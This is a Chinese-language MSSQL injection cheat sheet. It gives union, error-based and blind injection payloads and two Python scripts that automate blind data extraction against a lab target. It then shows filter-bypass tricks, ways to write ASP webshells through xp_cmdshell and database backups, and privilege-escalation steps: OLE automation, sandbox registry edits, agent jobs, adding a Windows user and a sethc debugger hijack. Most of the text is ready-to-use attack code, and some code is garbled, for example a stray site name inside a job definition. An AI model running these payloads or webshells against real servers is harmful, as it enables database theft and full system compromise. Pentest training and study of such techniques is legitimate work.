|
一,基本语法:
1.信息收集:
用户:
当前用户名:
select user用户权限:
服务器级别:
select IS_SRVROLEMEMBER('sysadmin')

数据库级别:
select IS_MEMBER('db_owner')

2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service
系统: 当前数据库名:
select db_name()数据库版本:
select @@version计算机名:
select host_name()当前数据库所在计算机名:
select @@servername判断战库分离:
select host_name()=@@servername命令: 是否支持xpcmdshell
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

返回1就代表存在xp_cmdshell
2.获取数据: 获取库名:
select db_name()

获取所有数据库名:
select name from master.dbo.sysdatabases;

获取表名:
select name from test.dbo.sysobjects

sysobjects表是SQL Server的系统表,记录了数据库内创建的每一个对象 sysobjects表结构:

如果直接使用select name from test.dbo.sysobjects,就会造成将一些无用的数据也回显出来,因此我们需要使用xtype来筛选满足条件的对象 以下是未筛选的回显内容

select name from test.dbo.sysobjects where xtype = 'u'以下是我们使用where筛选后的内容

当然在实际利用中一般回显一回显一行数据,因此需要使用top来限定只反显1行内容
select top 1 name from test.dbo.sysobjects where xtype = 'u'

那该如何获取下一个表名呢?

select top 1 name from test.dbo.sysobjects where xtype = 'u' and name !='emails'我想你会想,如果是我要获取第10个表名的话岂不是需要写9个条件判断语句,那样也太繁琐了吧 因此我们可以直接利用sql语法,not in('xxxx')
select top 1 name from test.dbo.sysobjects where xtype = 'u' and name not in('emails','uagents')

获取字段名: 数据库表syscolumns 各个字段含义: 每个数据库创建后都会有一些系统表用来存储该数据库的一些基本信息 每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。

select * from test.dbo.syscolumns如果不进行筛选的话,会有许多有关数据库配置等无关的字段出现

在mssql中每一张表都有直接的id,因此我们可以sysobjects来查询到我们想要的表的id,进而达到筛选的目的
select name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = &#39;users&#39;) and name<>&#39;id&#39;在实际情况下,如果我们要爆的数据是在web应用所使用的表时,可以省略test.dbo.


当然如果只能回显一行的话依然需要使用top 爆数据:
select top 1 username+&#39;:&#39;+ password from test.dbo.users

爆数据payload总结:
库名:
select name from master.dbo.sysdatabases;
表名:
select top 1 name from test.dbo.sysobjects where xtype = &#39;u&#39; and name not in(&#39;emails&#39;,&#39;uagents&#39;);
列名:
select name from syscolumns where id=(select id from sysobjects where name = &#39;users&#39;) and name<>&#39;id&#39;
数据:
select top 1 username+&#39;:&#39;+ password from test.dbo.users二,利用方式
1.union注入:
查看字段数:
order by 3原理:


如果字段数超过输出的字段数就会报错,通过报错来确定有几个字段 下面以mssql sqli labs为例:


判断出有3个字段 查看回显位置:
union select 1,2,3可以判断有回显的字段未2,3字段

爆库名:
union select 1,(select db_name()),3--+爆表名:
union all select 1,(select top 1 name from test.dbo.sysobjects where xtype = &#39;U&#39;),3--+

union all select 1,(select top 1 name from test.dbo.sysobjects where xtype=&#39;U&#39; and name not in (&#39;emalis&#39;)),3--+

爆列名:
union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = &#39;users&#39;) and name<>&#39;id&#39;),3--+

union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = &#39;users&#39; ) and name not in(&#39;id&#39;,&#39;username&#39;)),3--+

爆数据:
union select 1,2,(select top 1 username%2B&#39;:&#39;%2Bpassword from test.dbo.users)--+
如果要直接使用+号需要进行url编码%2B,不然会被解析为空格,--+中的+就是空格

2.报错注入:
报错注入分为三类: 隐式转换,和显示转换,declare函数 隐式转换:
原理:将不同数据类型的数据进行转换或对比
select * from test.dbo.users where (select user)>0 #对比
select * from test.dbo.users where ((select user)/1)=1 #运算


显示转换:
原理:
依靠:CAST,DECLARE和CONVERT函数进行数据类型转,当如果转化的是有关查询语句的结果,那么就会触发报错,但注意只能爆一个字符串
select &#39;naihe567&#39; as name,&#39;567&#39; as num)as b#这里我们使用了select 创建了一个自定义的临时表方便观察
select cast((select name from (select &#39;naihe567&#39; as name,&#39;567&#39; as num)as b) as int) #cast函数
select convert(int,(select name from (select &#39;naihe567&#39; as name,&#39;567&#39; as num)as b)) #convert函数
declare @s varchar(2000) set @s=&#39;select naihe567&#39; exec(@s) #declare



后面的爆数据我在这里就不在重复了,也免得浪费读者时间
3.盲注
布尔盲注(有回显):
1.爆破数据库名:
ascii(substring(db_name(),1,1))=95
#使用substring将字符串分解,对比ascii码2.爆破表名:
1=(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype=&#39;u&#39;) and ascii(substring(name,1,1))<95)
#通过条件筛选,并使用count来回去返回的行数,如果为1就说明存在,及正确3.爆破字段名:
ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where table_name=&#39;users&#39;),1,1))<95
#通过对比ascii码4.爆破数据:
ascii(substring((select top 1 username from users),1,1))<95附带一个简单的脚本
import requests
from time import time
url=&#39;http://192.168.0.105/less-1.asp&#39;
result=&#39;&#39;
for num in range(1,100):
#取32-128的ascii码
pointer = 1
min=32
max=128
#num为当前的爆破的字符位置
#pointer为正在使用的ascii
while 1:
pointer=min+(max-min)//2
if min==pointer:
if pointer == 127 or pointer == 0:
exit()
result += chr(pointer)
print(result)
break
# 爆表名
#payload = f&#34;?id=1&#39; and ascii(substring((select top 1 name from master.dbo.sysdatabases),{num},1)) < {pointer}--+&#34;.format(
#num, pointer)
# 爆表名
# payload = f&#34;?id=1&#39; and 1=(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype=&#39;u&#39;) and ascii(substring(name,{num},1))<{pointer})--+&#34;.format(
# num, pointer)
# 爆表名
payload = f&#34;?id=1&#39; and ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where table_name=&#39;users&#39;),{num},1))<{pointer}--+&#34;.format(
num, pointer)
result_html=requests.get(url=url+payload).text
# print(result_html)
if r&#34;Your Login name&#34; in result_html:
max=pointer
else :
min=pointer时间盲注(无回显):
使用WAITFOR DELAY进行延迟
;if (ascii(substring(db_name(),2,1)))=101 WAITFOR DELAY &#39;0:0:5&#39;
#这里利用并不能像mysql一样在where语句后添加if语句,而是只能利用堆叠注入添加一个if语句来执行延迟
操作和布尔盲注基本一样,在这里直接上脚本:
import requests
import time
url=&#39;http://192.168.0.105/less-1.asp&#39;
result=&#39;&#39;
for num in range(1,100):
#取32-128的ascii码
pointer = 1
min=32
max=128
#num为当前的爆破的字符位置
#pointer为正在使用的ascii
while 1:
pointer=min+(max-min)//2
if min==pointer:
if pointer == 127 or pointer == 0:
exit()
result += chr(pointer)
print(result)
break
# 爆表名
payload = f&#34;?id=1&#39;;if(ascii(substring((select top 1 name from master.dbo.sysdatabases),{num},1))) < {pointer} WAITFOR DELAY &#39;0:0:1&#39;--+&#34;.format(
num, pointer)
# 爆表名
# payload = f&#34;?id=1&#39; if(1)=(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype=&#39;u&#39;) and ascii(substring(name,{num},1))<{pointer}) WAITFOR DELAY &#39;0:0:1&#39;--+&#34;.format(
# num, pointer)
# 爆表名
# payload = f&#34;?id=1&#39;;if(ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where table_name=&#39;users&#39;),{num},1)))<{pointer} WAITFOR DELAY &#39;0:0:1&#39;--+&#34;.format(
# num, pointer)
result_html=requests.get(url=url+payload).text
# print(url+payload)
# print(result_html)
try:
r = requests.get(url=url+payload,timeout=0.5)
min = pointer
except:
max = pointer
time.sleep(0.2)
time.sleep(1)值得注意的是,盲注其实也可以使用like加通配符进行注入,但是如果使用ascii,可以使用二分法减少运算量,因此like的方法我们就不在重复,浪费大家的时间了,推荐使用二分法
三,绕过:
1.垃圾数据:
注释:
单行注释:利用单行注释将多行注释注释掉然后利用换行符换行
多行注释: /*xxxx*/,xxxx可以是符合数字和字符(这非常关键),但没有mysql中的/*!xx*/这种用法单行:
select --/*
&#39;naihe567&#39;
--*/

但在web传参时需要进行url编码:
select --/*%0a&#39;naihe567&#39;%0a--*/多行:

这里是mssql的

下面是mysql的

运算符: 运算符一般是配合报错注入使用
select * from test.dbo.users where ++++-+-~~1=(select user)
#原理是使用特殊运算只会改变值并不会改变数据类型,-+^*|&都可以使用

2.编码:
编码主要是利用十六进制和ascii码 users表内容如下:

十六进制:
select * from test.dbo.users where username=0x44756d6d79
Dummy的十六进制为0x44756d6d79

ascii码:
select * from test.dbo.users where username = char(100)+char(117)+char(109)+char(109)+CHAR(121)
#使用char函数

3.回调:
使用declear与exec函数 declear会创建一个局部变量,在使用exec执行变量中的内容
declare @s varchar(2000) set @s=0x73656c656374206e61696865353637 exec(@s)
#declear与exec其实是属于报错注入范畴,但是它可以将一个完成的sql语句进行编码执行
#0x73656c656374206e61696865353637 解码后就是 select naihe567
declare @s varchar(2000) set @s=CHAR(115)+CHAR(101)+CHAR(108)+CHAR(101)+CHAR(99)+CHAR(116)+CHAR(32)+...+CHAR(39) exec(@s)
#ascii也可以4.替换:
利用其他空白符替换空格:
%20 %09 %0a %0b %0c %0d利用[],()替换空格:
select(username)from[test].[dbo].[users]

四,写shell:
1.xp_cmdshell:
查看能否使用xpcmd_shell;
select count(*) from master.dbo.sysobjects where xtype = &#39;x&#39; and name = &#39;xp_cmdshell&#39;直接使用xpcmd_shell执行命令:
EXEC master.dbo.xp_cmdshell &#39;whoami&#39;

发现居然无法使用
查看是否存在xp_cmdshell:
EXEC sp_configure &#39;xp_cmdshell&#39;, 1;RECONFIGURE;

到现在我们知道了,这台mssql支持xp_cmdshell,但没有开启 开启xp_cmdshell:
启用:
EXEC sp_configure &#39;show advanced options&#39;, 1
RECONFIGURE;
EXEC sp_configure &#39;xp_cmdshell&#39;, 1;
RECONFIGURE;
关闭:
exec sp_configure &#39;show advanced options&#39;, 1;
reconfigure;
exec sp_configure &#39;xp_cmdshell&#39;, 0;
reconfigure;

执行命令:
EXEC master.dbo.xp_cmdshell &#39;whoami&#39;

可以看到这里已经有了system权限 主要找到web路径就可以使用cmd目录创建文件,获取web路径在后面有讲解
exec master..xp_cmdshell &#39;echo ^<%@ Page Language=&#34;Jscript&#34;%^>^<%eval(Request.Item[&#34;pass&#34;],&#34;unsafe&#34;);%^> > c:\\666.asp&#39;;

注意: 如果xp_cmdshell被删除了,需要自己上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc &#39;xp_cmdshell&#39;,&#39;C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll&#39; 虽然是写shell,但是xp_cmdshell更多的是用来提权,具体原因其实思考一下就明白了。。。。(我都能上传东西了,我还写什么webshell啊。。。)
2.差异备份:
生成备份文件:
backup database test to disk = &#39;c:\bak.bak&#39;;--创建表:
create table [dbo].[test] ([cmd] [image]);插入一句话:
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)再次备份:
backup database test to disk=&#39;C:\567.asp&#39; WITH DIFFERENTIAL,FORMAT;--

就会生成一个asp一句话

3.LOG备份:
1. alter database test set RECOVERY FULL
2. create table cmd (a image)
3. backup log test to disk = &#39;c:\test&#39; with init
4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
5. backup log test to disk = &#39;c:\test\2.asp&#39;
#LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式4.路径获取
由于要写webshell,那么必须知道web的路径
1.通过报错获取网站路径

2.使用xp_dirtree获取目录信息:
execute master..xp_dirtree &#39;c:&#39; //列出所有c:\文件和目录,子目录
execute master..xp_dirtree &#39;c:&#39;,1 //只列c:\文件夹
execute master..xp_dirtree &#39;c:&#39;,1,1 //列c:\文件夹加文件
#一个一个慢慢找

3.通过xpcmd_shell:
exec master..xp_cmdshell &#39;for /r c:\ %i in (i*.aspx) do @echo %i&#39;

回显问题: 看到这里,可能有很多小伙伴会不耐烦的说,这是我在软件上执行的sql命令,并非真实注入,该如何回显出信息 其实我们观察这些payload就可以发现,这些命令并非查询语句,并不能与普通的sql语句在一个语句中, 因此想要回显就必须满足,服务器支持堆叠注入


接下来我们的思路就是创建一张临时表来接收命令执行返回的内容,然后我们在通过查临时表来获取数据
创建临时表:
CREATE TABLE tmpTable (tmp1 varchar(8000));将数据存入表中:
insert into tmpTable(tmp1) exec master..xp_cmdshell &#39;ipconfig&#39;获取数据:
select * from tmpTable

后面就是常规爆数据了
五,提权:
1.xp_cmdshell提权:
xp_cmdshell在前面写webshell已经讲解过了,在这里不在重复2.sp_oacreate提权:
启用:
EXEC sp_configure &#39;show advanced options&#39;, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure &#39;Ole Automation Procedures&#39;, 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure &#39;show advanced options&#39;, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure &#39;Ole Automation Procedures&#39;, 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate &#39;wscript.shell&#39;,@shell output
exec sp_oamethod
@shell,&#39;run&#39;,null,&#39;c:\windows\system32\cmd.exe /c whoami >c:\\1.txt&#39;

3.沙盒提权:
1. exec master..xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Jet\4.0\Engines&#39;,&#39;SandBoxMode&#39;,&#39;REG_DWORD&#39;,0;
2. exec master.dbo.xp_regread &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Jet\4.0\Engines&#39;, &#39;SandBoxMode&#39;
沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1` :为仅在允许范围内
`2` :必须在access模式下
`3`:完全开启
执行命令:
Select * From OpenRowSet(&#39;Microsoft.Jet.OLEDB.4.0&#39;,&#39;;Databasec:\windows\system32\ias\ias.mdb&#39;,&#39;select shell( net user naihe QWE123. /add )&#39;);4.public
USE msdb
EXEC sp_add_job @job_name = &#39;GetSystemOnSQL&#39;, www.2cto.com
@enabled = 1,
@description = &#39;This will give a low privileged user access to
xp_cmdshell&#39;,
@delete_level = 1
EXEC sp_add_jobstep @job_name = &#39;GetSystemOnSQL&#39;,
@step_name = &#39;Exec my sql&#39;,
@subsystem = &#39;TSQL&#39;,
@command = &#39;exec master..xp_execresultset N&#39;&#39;select &#39;&#39;&#39;&#39;exec
master..xp_cmdshell &#34;dir > c:\agent-job-results.txt&#34;&#39;&#39;&#39;&#39;&#39;&#39;,N&#39;&#39;Master&#39;&#39;&#39;
EXEC sp_add_jobserver @job_name = &#39;GetSystemOnSQL&#39;,
@server_name = &#39;SERVER_NAME&#39;
EXEC sp_start_job @job_name = &#39;GetSystemOnSQL&#39;5.xp_regwrite
exec master..xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE&#39;,&#39;Debugger&#39;,&#39;REG_SZ&#39;,&#39;C:\WINDOWS\explorer.exe&#39;; |
|